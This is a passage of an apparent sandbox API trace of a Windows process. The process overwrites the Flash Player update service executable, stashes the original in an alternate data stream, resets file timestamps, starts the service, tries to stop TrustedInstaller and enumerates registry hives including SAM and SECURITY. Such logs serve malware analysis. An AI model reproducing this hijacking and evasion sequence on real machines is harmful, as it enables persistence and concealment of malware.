[0256.413] ChangeServiceConfigW (in: hService=0x5d6df8, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0256.430] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0256.430] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0256.430] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d458) returned 1 [0256.430] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0256.430] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0256.430] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d358) returned 1 [0256.431] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0256.431] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.431] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.431] RegCloseKey (hKey=0x154) returned 0x0 [0256.431] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0256.431] RegCloseKey (hKey=0x164) returned 0x0 [0256.431] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0256.431] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0256.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc905990, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xc905990, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xc905990, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x3dca0)) returned 1 [0256.434] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164 [0256.435] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0256.435] GetFileSize (in: hFile=0x164, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0x3dca0 [0256.435] SetFilePointer (in: hFile=0x164, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0256.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3dcc0) returned 0x1e27ea8 [0256.437] ReadFile (in: hFile=0x164, lpBuffer=0x1e27ea8, nNumberOfBytesToRead=0x3dca0, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1e27ea8*, lpNumberOfBytesRead=0x18fc58*=0x3dca0, lpOverlapped=0x0) returned 1 [0256.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3dcc0) returned 0x1e708b8 [0256.443] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e27ea8) returned 1 [0256.443] SetFilePointer (in: hFile=0x164, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc48*=0) returned 0x0 [0256.443] WriteFile (in: hFile=0x164, lpBuffer=0x1e00ea0*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1e00ea0*, lpNumberOfBytesWritten=0x18fc58*=0x27000, lpOverlapped=0x0) returned 1 [0256.443] SetEndOfFile (hFile=0x164) returned 1 [0256.446] GetFileTime (in: hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c*(dwLowDateTime=0xc905990, dwHighDateTime=0x1d35d06)) returned 1 [0256.446] FileTimeToSystemTime (in: lpFileTime=0x18fc6c, lpSystemTime=0x18fc98 | out: lpSystemTime=0x18fc98) returned 1 [0256.446] SystemTimeToFileTime (in: lpSystemTime=0x18fc98, lpFileTime=0x18fc6c | out: lpFileTime=0x18fc6c) returned 1 [0256.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0256.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0256.446] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0256.446] NtClose (Handle=0x164) returned 0x0 [0256.446] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe:0" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x58de10, ftCreationTime.dwLowDateTime=0x1, ftCreationTime.dwHighDateTime=0x58e8c0, ftLastAccessTime.dwLowDateTime=0x18fc0c, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x18fcc0)) returned 0 [0256.446] GetLastError () returned 0x2 [0256.446] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe:0" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164 [0256.446] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0256.447] WriteFile (in: hFile=0x164, lpBuffer=0x1e708b8*, nNumberOfBytesToWrite=0x3dca0, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1e708b8*, lpNumberOfBytesWritten=0x18fc58*=0x3dca0, lpOverlapped=0x0) returned 1 [0256.451] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0256.451] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c) returned 1 [0256.452] NtClose (Handle=0x164) returned 0x0 [0256.452] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x10) returned 0x5d6d08 [0256.452] StartServiceW (hService=0x5d6d08, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0257.575] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0257.575] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0257.575] GetLastError () returned 0x6 [0257.575] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e708b8) returned 1 [0257.575] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x5d3ac0) returned 1 [0257.576] CryptGenRandom (in: hProv=0x5d3ac0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0257.576] CryptReleaseContext (hProv=0x5d3ac0, dwFlags=0x0) returned 1 [0257.576] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x5d6df8 [0257.576] ControlService (in: hService=0x5d6df8, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0257.577] GetLastError () returned 0x426 [0257.577] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0257.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0257.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0257.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0257.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd29e0 [0257.577] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0257.577] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0257.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0257.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.578] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.578] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.578] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.578] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.578] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0257.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.579] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.579] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.579] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.579] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0257.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0257.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.579] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.579] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.579] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.579] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0257.579] RegCloseKey (hKey=0x80000002) returned 0x0 [0257.579] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0257.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0257.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0257.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.579] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.579] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.579] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.579] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0257.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0257.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de4720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0257.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.580] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0257.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0257.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de4450, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0257.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.580] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0257.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0257.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.580] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0257.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0257.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.580] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.580] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de4720, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.581] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.581] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.581] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.581] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.581] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.581] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.581] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.581] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.581] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.581] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.581] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.581] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 